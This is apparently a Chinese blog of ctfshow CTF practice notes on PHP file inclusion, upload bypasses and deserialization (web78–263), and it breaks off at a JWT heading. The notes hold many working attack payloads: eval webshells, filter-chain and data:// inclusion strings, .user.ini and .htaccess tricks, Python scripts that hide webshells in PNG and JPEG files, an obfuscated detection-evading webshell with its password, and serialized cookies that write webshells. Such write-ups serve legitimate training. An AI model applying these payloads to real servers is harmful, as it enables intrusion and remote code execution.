0%

ctfshow刷题

前言:

之前刷过没做记录,这次备赛国赛半决做一下深度攻防

文件包含

web78

web79

1
$file = str_replace("php", "???", $file); 

web80

1
2
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);

用大小写绕过php

web81

1
2
3
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);

web82

1
2
3
4
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);

web85

1
2
3
4
5
6
7
8
9
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
if(file_exists($file)){
$content = file_get_contents($file);
if(strpos($content, "<")>0){
die("error");
}

web87

1
2
3
4
5
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content);
1
2
3
4
5
6
7
8
9
//双重url编码
php://filter/write=string.rot13/resource=shell.php

%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%37%33%25%37%34%25%37%32%25%36%39%25%36%65%25%36%37%25%32%65%25%37%32%25%36%66%25%37%34%25%33%31%25%33%33%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%37%33%25%36%38%25%36%35%25%36%63%25%36%63%25%32%65%25%37%30%25%36%38%25%37%30

//rot13编码
content=<?php @eval($_GET[1]);?>

content=<?cuc @riny($_TRG[1]);?>

web88

1
if(preg_match("/php|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=|\./i", $file)){     die("error");   } 
1
?file=data://text/plain;base64,PD9waHAgZXZhbCgkX0dFVFsxXSk7Pz4&1=system(%27tac+fl0g.php%27);

web116

用formost提取png

web117

1
2
3
4
5
6
7
function filter($x){
if(preg_match('/http|https|utf|zlib|data|input|rot13|base64|string|log|sess/i',$x)){
die('too young too simple sometimes naive!');
}
}
filter($file);
file_put_contents($file, "<?php die();?>".$contents);

利用iconv过滤器进行字符编码转换(UCS-2LE → UCS-2BE)

文件上传

web151

随便上传个png文件抓包后将后缀改为php即可

用蚁剑抓包(注意要将https改为http否则连不上)

web152

一样

web153

bp抓包可知是nginx,并且不限制.ini,上传.user.ini

1
auto_prepend_file=shell.png

上传木马shell.png

连接蚁剑,访问upload/目录即可

web154

内容中不能有php,用短标签绕过

web155

同上

web156

过滤了php、[]

过滤了[]直接用{}绕过

web157

过滤了php、[];

直接用system()

web158

同上

屏幕截图 2026-03-11 205944.png

web159

过滤了php、[];()

用``也可以直接命令执行,可以绕过()

``是shell_exec()的简化形式

web160

过滤了php、[];()、`、log、空格

用inculde包含/var/log/nginx/access.log实现ua头木马写入

但是发现log也被过滤了,所以用.来分隔绕过

上传.user.ini

获取flag

也可以用蚁剑连接

web161

过滤了php、[];()、`、log、空格

添加了文件头验证

用GIF89a绕过,其余操作同上

web162

过滤了php、[];()、`、log、空格、.

第一种绕过方法:异或构造.

s的ASCII为0x73]的ASCII为0x5d,异或0x73 ^ 0x5d = 0x2e,ASCII 对应 .

闲麻烦这里可以直接将文件名命名为1

上传.user.ini

第二种方法:用data伪协议+16进制

1
2
php eval($_POST[1]);
\x70\x68\x70\x20\x65\x76\x61\x6c\x28\x24\x5f\x50\x4f\x53\x54\x5b\x31\x5d\x29\x3b

web163

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
if ($_FILES["file"]["error"] > 0)
{
$ret = array("code"=>2,"msg"=>$_FILES["file"]["error"]);
}
else
{
$filename = $_FILES["file"]["name"];
$filesize = ($_FILES["file"]["size"] / 1024);
if($filesize>1024){
$ret = array("code"=>1,"msg"=>"文件超过1024KB");
}else{
if($_FILES['file']['type'] == 'image/png'){
$arr = pathinfo($filename);
$ext_suffix = $arr['extension'];
if($ext_suffix!='php'){
$content = file_get_contents($_FILES["file"]["tmp_name"]);
if(stripos($content, "php")===FALSE && check($content) && getimagesize($_FILES["file"]["tmp_name"])){
move_uploaded_file($_FILES["file"]["tmp_name"], "upload/".$_FILES["file"]["name"]);
$ret = array("code"=>0,"msg"=>"upload/".$_FILES["file"]["name"]);
}else{
$ret = array("code"=>2,"msg"=>"文件类型不合规");
}

}else{
$ret = array("code"=>2,"msg"=>"文件类型不合规");
}

}else{
$ret = array("code"=>2,"msg"=>"文件类型不合规");
}

}

}
function check($str){
return !preg_match('/php|\{|\[|\;|log|\(| |\`|flag|\./i', $str);
}

function clearUpload(){
system("mv ./upload/index.php ./index.php_");
system("rm -rf ./upload/*");
system("mv ./index.php_ ./upload/index.php");
}

sleep(2);
clearUpload();
echo json_encode($ret);

远程文件包含

由于点被过滤了,所以先转化一下ip

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
# IP转换为长整型
def ip2long(ip):
ip_list = ip.split('.') # ⾸先先把ip的组成以'.'切割然后逐次转换成对应的⼆进制
result = 0
for i in range(4): # 0,1,2,3
result = result + int(ip_list[i]) * 256 ** (3 - i)
return result

# 长整型转换为IP
def long2ip(long):
floor_list = []
num = long
for i in reversed(range(4)):
res = divmod(num, 256 ** i)
floor_list.append(str(res[0]))
num = res[1]
return '.'.join(floor_list)

print(ip2long('ip'))

连接蚁剑

查看php.ini可知allow_url_fopenallow_url_include都是On,所以可以远程文件包含

这题其实还可以用162的payload打条件竞争,但是测试环境是有时间段的我这里就懒得搞了

web164

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
//download.php
$file= $_GET['image'];

$file = strrev($file);
$ext = strrev(substr($file, 0,4));
if($ext==='.png' && file_exists("./upload/".strrev($file))){
header('Content-Type:image/png');
include("./upload/".strrev($file));
}else{
echo "图片错误";
}}

//upload.php
if ($_FILES["file"]["error"] > 0)
{
$ret = array("code"=>2,"msg"=>$_FILES["file"]["error"]);
}
else
{
$filename = $_FILES["file"]["name"];
$filesize = ($_FILES["file"]["size"] / 1024);
if($filesize>1024){
$ret = array("code"=>1,"msg"=>"文件超过1024KB");
}else{
if($_FILES['file']['type'] == 'image/png'){
$arr = pathinfo($filename);
$ext_suffix = $arr['extension'];
if(in_array($ext_suffix, array("png"))){
$png = imagecreatefrompng($_FILES["file"]["tmp_name"]);
if($png==FALSE){
$ret = array("code"=>2,"msg"=>"文件类型不合规");
}else{
$dst = 'upload/'.md5($_FILES["file"]["name"]).".png";
imagepng($png,$dst);
$ret = array("code"=>0,"msg"=>md5($_FILES["file"]["name"]).".png");
}
}else{
$ret = array("code"=>3,"msg"=>"只允许上传png格式图片");
}
}else{
$ret = array("code"=>2,"msg"=>"文件类型不合规");
}

}

}

echo json_encode($ret);echo json_encode($ret);

imagecreatefrompng()会验证是不是真实图片图片

构造图片马

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
from PIL import Image
import os

# 原始PHP中的数组数据
p = [
0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
0x66, 0x44, 0x50, 0x33
]

# 创建32x32的真彩色图像
img = Image.new('RGB', (32, 32), color='black')
pixels = img.load()

# 遍历数组设置像素点
for y in range(0, len(p), 3):
if y + 2 < len(p): # 确保有完整的RGB三个值
r = p[y]
g = p[y + 1]
b = p[y + 2]

# 计算x坐标 (round(y / 3) 的效果)
x = round(y / 3)

# 确保x坐标在图像范围内
if x < 32:
pixels[x, 0] = (r, g, b)

# 保存图像
img.save('./1.png')
print("图像已保存为 ./1.png")

# 添加PHP后门代码
# 注意:这部分是生成图片马的关键
php_backdoor = """<?=$_GET[0]($_POST[1]);?>"""

# 将PHP代码附加到图片后面
with open('./1.png', 'ab') as f:
f.write(php_backdoor.encode())

print("PHP后门代码已附加到图片")
print("生成的图片马文件: ./1.png")

这里如果直接用echo写入<?php eval($_POST[1]);?>没法命令执行,会直接变成<?php eval([1]);?>,写入<?php system("cat upload.php")?>会变成<?php system(cat upload.php)?>,但是我用phpinfo()php.ini又没有什么问题。这题迷的很我也不知道啥原因

web165

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
//download.php
$file= $_GET['image'];

$file = strrev($file);
$ext = strrev(substr($file, 0,4));
if($ext==='.jpg' && file_exists("./upload/".strrev($file))){
header('Content-Type:image/jpeg');
include("./upload/".strrev($file));
}else{
echo "图片错误";
}

//upload.php
if ($_FILES["file"]["error"] > 0)
{
$ret = array("code"=>2,"msg"=>$_FILES["file"]["error"]);
}
else
{
$filename = $_FILES["file"]["name"];
$filesize = ($_FILES["file"]["size"] / 1024);
if($filesize>1024){
$ret = array("code"=>1,"msg"=>"文件超过1024KB");
}else{
if($_FILES['file']['type'] == 'image/jpeg'){
$arr = pathinfo($filename);
$ext_suffix = $arr['extension'];
if(in_array($ext_suffix, array("jpg"))){
$jpg = imagecreatefromjpeg($_FILES["file"]["tmp_name"]);
if($jpg==FALSE){
$ret = array("code"=>2,"msg"=>"文件类型不合规");
}else{
$dst = 'upload/'.md5($_FILES["file"]["name"]).".jpg";
imagejpeg($jpg,$dst);
$ret = array("code"=>0,"msg"=>md5($_FILES["file"]["name"]).".jpg");
}
}else{
$ret = array("code"=>3,"msg"=>"只允许上传jpg格式图片");
}


}else{
$ret = array("code"=>2,"msg"=>"文件类型不合规");
}

}

}


echo json_encode($ret);

这题需要多用不同的jpg文件尝试,网上说这张图片成功率高(确实)

先上传一遍让浏览器渲染一下,然后将上传的图片下载下来

生成jpg图片马

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
import os
import struct
from PIL import Image

# Mini Payload
mini_payload = '<?=eval($_POST[1]);?>';


# Function to check if the image is valid
def check_image(filename, data, unlink=False):
try:
with open(filename, 'wb') as f:
f.write(data)
# Try opening the image using Pillow
Image.open(filename)
return True
except Exception as e:
return False
finally:
if unlink:
os.remove(filename)


# Function to process image
def process_image(file_path):
if not os.path.isfile(file_path):
raise ValueError(f'File not found: {file_path}')

with open(file_path, 'rb') as f:
data = f.read()

correct_image = True
extra_bytes = 0

for pad in range(1024):
nullbyte_payload_size = pad
start_pos = None
out_stream = data
dis_pos = 0

# Check for SOI marker
if struct.unpack('>H', data[dis_pos:dis_pos + 2])[0] != 0xFFD8:
raise ValueError('Incorrect SOI marker')

dis_pos += 2

while dis_pos < len(data):
if data[dis_pos] != 0xFF:
break
marker = data[dis_pos + 1]
size = struct.unpack('>H', data[dis_pos + 2:dis_pos + 4])[0] - 2
dis_pos += 4 + size
if marker == 0xDA:
start_pos = dis_pos
out_stream_tmp = data[:start_pos] + mini_payload.encode() + b'\x00' * nullbyte_payload_size + data[
start_pos:]

if check_image('_' + file_path, out_stream_tmp, True):
if extra_bytes != 0:
while dis_pos < len(data):
if data[dis_pos] == 0xFF:
if data[dis_pos + 1] != 0x00:
break
dis_pos += 1
stop_pos = dis_pos - 2
image_stream_size = stop_pos - start_pos
out_stream = data[:start_pos] + mini_payload.encode() + \
(b'\x00' * nullbyte_payload_size + data[start_pos:start_pos + image_stream_size])[
:nullbyte_payload_size + image_stream_size - extra_bytes] + data[stop_pos:]
else:
out_stream = out_stream_tmp

if check_image('payload_' + file_path, out_stream):
print('Success!')
return
else:
break

os.remove('payload_' + file_path)
print("Something's wrong")


# Main execution
if __name__ == "__main__":
import sys

if len(sys.argv) < 2:
raise ValueError('Usage: python exp.py <image_name.jpg>')

file_path = sys.argv[1]
process_image(file_path)

上传后用蚁剑即可连接

web166

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
//upload/download.php
$file= $_GET['file'];
if(!isset($file)){
die('文件不存在');
}

if(preg_match('/log|flag|data|input|file|compress|phar|http|https|ftp/', $file)){
die('文件不存在');
}

if(check($file)){
die('文件不存在!');
}else{
include($file);
header('Content-Type:application/x-zip-compressed');
}


function check($str){
$ret = FALSE;
$arrayName = array('ftp','file','/','http','https','phar','tmp','php','data','compress');
foreach ($arrayName as $key) {
$ret = checkPro($key,$str);
}
return $ret;
}

function checkPro($key,$str){
$len = strlen($key);
$mt = substr($str, 0,$len);
return $len==$mt;
}

//upload.php
if ($_FILES["file"]["error"] > 0)
{
$ret = array("code"=>2,"msg"=>$_FILES["file"]["error"]);
}
else
{
$filename = $_FILES["file"]["name"];
$filesize = ($_FILES["file"]["size"] / 1024);
if($filesize>1024){
$ret = array("code"=>1,"msg"=>"文件超过1024KB");
}else{
if($_FILES['file']['type'] == 'application/x-zip-compressed'){
$arr = pathinfo($filename);
$ext_suffix = $arr['extension'];
if(in_array($ext_suffix, array("zip"))){
move_uploaded_file($_FILES["file"]["tmp_name"], './upload/'.md5($_FILES["file"]["tmp_name"]).'.zip');
$ret = array("code"=>0,"msg"=>md5($_FILES["file"]["tmp_name"]).'.zip');
}else{
$ret = array("code"=>3,"msg"=>"只允许上传zip格式文件");
}


}else{
$ret = array("code"=>2,"msg"=>"文件类型不合规");
}

}

}


echo json_encode($ret);

前端只允许上传zip,在zip末尾加上一句话木马

先上传一个有问题的zip文件,点击下载可以看到路径(正确的zip文件点击下载就下载了)

上传zip后抓包查看zip文件名,接着替换路径的zip名用蚁剑连接

web167

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
if ($_FILES["file"]["error"] > 0)
{
$ret = array("code"=>2,"msg"=>$_FILES["file"]["error"]);
}
else
{
$filename = $_FILES["file"]["name"];
$filesize = ($_FILES["file"]["size"] / 1024);
if($filesize>1024){
$ret = array("code"=>1,"msg"=>"文件超过1024KB");
}else{
if($_FILES['file']['type'] == 'image/jpeg'){
$arr = pathinfo($filename);
$ext_suffix = $arr['extension'];
if(!in_array($ext_suffix, array("php"))){
move_uploaded_file($_FILES["file"]["tmp_name"], './upload/'.$_FILES["file"]["name"]);
$ret = array("code"=>0,"msg"=>$_FILES["file"]["name"]);
}else{
$ret = array("code"=>3,"msg"=>"只允许上传jpg格式文件");
}


}else{
$ret = array("code"=>2,"msg"=>"文件类型不合规");
}

}

}


echo json_encode($ret);

发现可以上传jpg文件,上传.htaccess将jpg文件识别为php文件

1
2
3
<FilesMatch ".jpg">
SetHandler application/x-httpd-php
</FilesMatch>

这题虽然抓包看是nginx的,但是apache服务确实开着

web168

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
if ($_FILES["file"]["error"] > 0)
{
$ret = array("code"=>2,"msg"=>$_FILES["file"]["error"]);
}
else
{
$filename = $_FILES["file"]["name"];
$filesize = ($_FILES["file"]["size"] / 1024);
if($filesize>1024){
$ret = array("code"=>1,"msg"=>"文件超过1024KB");
}else{
if($_FILES['file']['type'] == 'image/png'){
$str = file_get_contents($_FILES["file"]["tmp_name"]);
if(check($str)===0){
move_uploaded_file($_FILES["file"]["tmp_name"], './upload/'.$_FILES["file"]["name"]);
$ret = array("code"=>0,"msg"=>$_FILES["file"]["name"]);
}

}else{
$ret = array("code"=>2,"msg"=>"文件类型不合规");
}

}

}

function check($str){
return preg_match('/eval|assert|assert|_POST|_GET|_COOKIE|system|shell_exec|include|require/i', $str);
}

echo json_encode($ret);

对文件内容进行了过滤,找了一个免杀马

1
2
3
4
<?php $bFIY=create_function(chr(25380/705).chr(92115/801).base64_decode('bw==').base64_decode('bQ==').base64_decode('ZQ=='),chr(0x16964/0x394).chr(0x6f16/0xf1).base64_decode('YQ==').base64_decode('bA==').chr(060340/01154).chr(01041-0775).base64_decode('cw==').str_rot13('b').chr(01504-01327).base64_decode('ZQ==').chr(057176/01116).chr(0xe3b4/0x3dc));$bFIY(base64_decode('NjgxO'.'Tc7QG'.'V2QWw'.'oJF9Q'.''.str_rot13('G').str_rot13('1').str_rot13('A').base64_decode('VQ==').str_rot13('J').''.''.chr(0x304-0x2d3).base64_decode('Ug==').chr(13197/249).str_rot13('F').base64_decode('MQ==').''.'B1bnR'.'VXSk7'.'MjA0N'.'TkxOw'.'=='.''));?>

//连接密码
TyKPuntU

屏幕截图 2026-03-12 230217.png

php反序列化

web254

就是验证用户名和密码,也不需要反序列化

web255

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php
include('flag.php');

class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=true;

// public function checkVip(){
// return $this->isVip;
// }
// public function login($u,$p){
// return $this->username===$u&&$this->password===$p;
// }
// public function vipOneKeyGetFlag(){
// if($this->isVip){
// global $flag;
// echo "your flag is ".$flag;
// }else{
// echo "no vip, no flag";
// }
// }
}
$ctf = new ctfShowUser();
$user = urlencode(serialize($ctf));
echo $user;

//$username=$_GET['username'];
//$password=$_GET['password'];
//
//if(isset($username) && isset($password)){
// $user = unserialize($_COOKIE['user']);
// if($user->login($username,$password)){
// if($user->checkVip()){
// $user->vipOneKeyGetFlag();
// }
// }else{
// echo "no vip,no flag";
// }
//}

//Cookie: user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D

改vip属性

web256

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<?php
include('flag.php');

class ctfShowUser{
public $username='1';
public $password='2';
public $isVip=true;

// public function checkVip(){
// return $this->isVip;
// }
// public function login($u,$p){
// return $this->username===$u&&$this->password===$p;
// }
// public function vipOneKeyGetFlag(){
// if($this->isVip){
// global $flag;
// if($this->username!==$this->password){
// echo "your flag is ".$flag;
// }
// }else{
// echo "no vip, no flag";
// }
// }
}

$ctf = new ctfShowUser();
$user = urlencode(serialize($ctf));
echo $user;

//$username=$_GET['username'];
//$password=$_GET['password'];
//
//if(isset($username) && isset($password)){
// $user = unserialize($_COOKIE['user']);
// if($user->login($username,$password)){
// if($user->checkVip()){
// $user->vipOneKeyGetFlag();
// }
// }else{
// echo "no vip,no flag";
// }
//}

改vip属性,让username不等于password

web257

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<?php
class ctfShowUser{
private $username='xxxxxx';
private $password='xxxxxx';
private $isVip=false;
private $class = 'info';

public function __construct(){
$this->class=new backDoor();
}
// public function login($u,$p){
// return $this->username===$u&&$this->password===$p;
// }
public function __destruct(){
$this->class->getInfo();
}

}

//class info{
// private $user='xxxxxx';
// public function getInfo(){
// return $this->user;
// }
//}

class backDoor{
private $code = "system('tac flag.php');";
public function getInfo(){
eval($this->code);
}
}

//$username=$_GET['username'];
//$password=$_GET['password'];
//
//if(isset($username) && isset($password)){
// $user = unserialize($_COOKIE['user']);
// $user->login($username,$password);
//}
$ctf = new ctfShowUser();
echo urlencode(serialize($ctf));

//Cookie: user=O%3A11%3A%22ctfShowUser%22%3A4%3A%7Bs%3A21%3A%22%00ctfShowUser%00username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A21%3A%22%00ctfShowUser%00password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A18%3A%22%00ctfShowUser%00isVip%22%3Bb%3A0%3Bs%3A18%3A%22%00ctfShowUser%00class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A14%3A%22%00backDoor%00code%22%3Bs%3A23%3A%22system%28%27tac+flag.php%27%29%3B%22%3B%7D%7D

serialize()会触发__construct(),从而实例化info();

我们将info()改为backDoor()即可实例化backDoor(),从而到达eval()实现命令执行

web258

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
<?php
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public $class = 'info';

public function __construct(){
$this->class=new backDoor();
}
// public function login($u,$p){
// return $this->username===$u&&$this->password===$p;
// }
public function __destruct(){
$this->class->getInfo();
}

}

//class info{
// public $user='xxxxxx';
// public function getInfo(){
// return $this->user;
// }
//}

class backDoor{
public $code = "system('tac flag.php');";
public function getInfo(){
eval($this->code);
}
}

//$username=$_GET['username'];
//$password=$_GET['password'];
//
//if(isset($username) && isset($password)){
if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){
$user = unserialize($_COOKIE['user']);
}
// $user->login($username,$password);
//}

$ctf = new ctfShowUser();
echo serialize($ctf);
?>

// 绕过
<?php
$payload = 'O:+11:"ctfShowUser":4:{s:8:"username";s:6:"xxxxxx";s:8:"password";s:6:"xxxxxx";s:5:"isVip";b:0;s:5:"class";O:+8:"backDoor":1:{s:4:"code";s:23:"system(\'tac flag.php\');";}}';
echo urlencode($payload);

//Cookie: user=O%3A%2B11%3A%22ctfShowUser%22%3A4%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A0%3Bs%3A5%3A%22class%22%3BO%3A%2B8%3A%22backDoor%22%3A1%3A%7Bs%3A4%3A%22code%22%3Bs%3A23%3A%22system%28%27tac+flag.php%27%29%3B%22%3B%7D%7D

跟上一题一样,但是多了一个正则,o:c:后面不能直接跟数字,所以需要用+绕过

web259

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
// flag.php
$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);

if($ip!=='127.0.0.1'){
die('error');
}else{
$token = $_POST['token'];
if($token=='ctfshow'){
file_put_contents('flag.txt',$flag);
}
}

// index.php
<?php
highlight_file(__FILE__);

$vip = unserialize($_GET['vip']);
//vip can get flag one key
$vip->getFlag();

利用SoapClient类构造一个post请求,使得ip=127.0.0.1,并且携带token=”ctfshow”。(注意这里的php版本不要超过7.x

1
2
3
4
5
6
7
8
<?php
//\r\n是回车换行,请求头和请求体之间是存在一个空行的,因此Content-Length和token之间存在了两对"\r\n"。写两个127.0.0.1,是因为代码中使用了两次array_pop,每次会删除最后一个数组元素,因此为了将$ip赋值为127.0.0.1,需要写两个127.0.0.1。
$ua="ctfshow\r\nX-Forwarded-For:127.0.0.1,127.0.0.1\r\nContent-Type:application/x-www-form-urlencoded\r\nContent-Length:13\r\n\r\ntoken=ctfshow";
$client=new SoapClient(null,array('uri'=>"127.0.0.1/",'location'=>"http://127.0.0.1/flag.php",'user_agent'=>$ua));
echo urlencode(serialize($client));
?>

// ?vip=O%3A10%3A%22SoapClient%22%3A5%3A%7Bs%3A3%3A%22uri%22%3Bs%3A10%3A%22127.0.0.1%2F%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A15%3A%22_stream_context%22%3Bi%3A0%3Bs%3A11%3A%22_user_agent%22%3Bs%3A128%3A%22ctfshow%0D%0AX-Forwarded-For%3A127.0.0.1%2C127.0.0.1%0D%0AContent-Type%3Aapplication%2Fx-www-form-urlencoded%0D%0AContent-Length%3A13%0D%0A%0D%0Atoken%3Dctfshow%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D

接着再访问flag.txt即可得到flag

web260

web261

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<?php
class ctfshowvip{
public $username;
public $password;
public $code;

// public function __construct($u,$p){
// $this->username=$u;
// $this->password=$p;
// }
// public function __wakeup(){
// if($this->username!='' || $this->password!=''){
// die('error');
// }
// }
// public function __invoke(){
// eval($this->code);
// }
//
// public function __sleep(){
// $this->username='';
// $this->password='';
// }
// public function __unserialize($data){
// $this->username=$data['username'];
// $this->password=$data['password'];
// $this->code = $this->username.$this->password;
// }
// public function __destruct(){
// if($this->code==0x36d){
// file_put_contents($this->username, $this->password);
// }
// }
}

//unserialize($_GET['vip']);

$ctf = new ctfshowvip();
$ctf -> username = "877.php";
$ctf -> password = "<?php eval(\$_POST[1]);?>";
echo urlencode(serialize($ctf));

//?vip=O%3A10%3A%22ctfshowvip%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A7%3A%22877.php%22%3Bs%3A8%3A%22password%22%3Bs%3A24%3A%22%3C%3Fphp+eval%28%24_POST%5B1%5D%29%3B%3F%3E%22%3Bs%3A4%3A%22code%22%3BN%3B%7D

eval()需要触发__invoke(),但是并没有把对象当成函数调用,没有条件能触发所以是个幌子,真正的利用点应该是利用file_put_contents()写入木马

由于code要等于0x36d,转化为十进制就是877,所以将文件名赋值为877.php

web262

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
//include('flag.php');
class message{
public $from;
public $msg;
public $to;
public $token='admin';
// public function __construct($f,$m,$t){
// $this->from = $f;
// $this->msg = $m;
// $this->to = $t;
// }
}

//if(isset($_COOKIE['msg'])){
// $msg = unserialize(base64_decode($_COOKIE['msg']));
// if($msg->token=='admin'){
// echo $flag;
// }
//}

$msg = new message();
echo base64_encode(serialize($msg));

//Cookie: msg=Tzo3OiJtZXNzYWdlIjo0OntzOjQ6ImZyb20iO047czozOiJtc2ciO047czoyOiJ0byI7TjtzOjU6InRva2VuIjtzOjU6ImFkbWluIjt9

头部注释有一个message.php

web263(awdp)

1
2
3
4
5
6
7
8
// sql注入检查
function checkForm($str){
if(!isset($str)){
return true;
}else{
return preg_match("/select|update|drop|union|and|or|ascii|if|sys|substr|sleep|from|where|0x|hex|bin|char|file|ord|limit|by|\`|\~|\!|\@|\#|\\$|\%|\^|\\|\&|\*|\(|\)|\(|\)|\+|\=|\[|\]|\;|\:|\'|\"|\<|\,|\>|\?/i",$str);
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
/*生成唯一标志
*标准的UUID格式为:xxxxxxxx-xxxx-xxxx-xxxxxx-xxxxxxxxxx(8-4-4-4-12)
*/

function uuid()
{
$chars = md5(uniqid(mt_rand(), true));
$uuid = substr ( $chars, 0, 8 ) . '-'
. substr ( $chars, 8, 4 ) . '-'
. substr ( $chars, 12, 4 ) . '-'
. substr ( $chars, 16, 4 ) . '-'
. substr ( $chars, 20, 12 );
return $uuid ;
}

下载源码做代码审计,大概可以猜到漏洞点应该是需要利用file_put_contents()写入一句话木马

但是并没有找到unserialize(),发现有session_start(),那么这题应该是session反序列化了

session_start()重用现有对话的时候就会调用open,read回调函数。也就是说read回调函数会对session文件里面的序列化字符进行反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
class User{
public $username;
public $password;
public $status;
// function __construct($username,$password){
// $this->username = $username;
// $this->password = $password;
// }
// function setStatus($s){
// $this->status=$s;
// }
// function __destruct(){
// file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format('Y-m-d H:i:s'));
// }
}

$u = new User();
$u -> username = "1.php";
$u -> password = "<?php eval(\$_POST['cmd']);?>";
echo '|'.serialize($u);
echo base64_encode('|'.serialize($u));

//Cookie: limit=fE86NDoiVXNlciI6Mzp7czo4OiJ1c2VybmFtZSI7czo1OiIxLnBocCI7czo4OiJwYXNzd29yZCI7czoyODoiPD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/PiI7czo2OiJzdGF0dXMiO047fQ==

多发几次包(一次没法触发)传入Cookie

利用check.php触发inc/inc.php的反序列化写入一句话木马

访问log-1.php可以访问就写入成功了

jwt

web345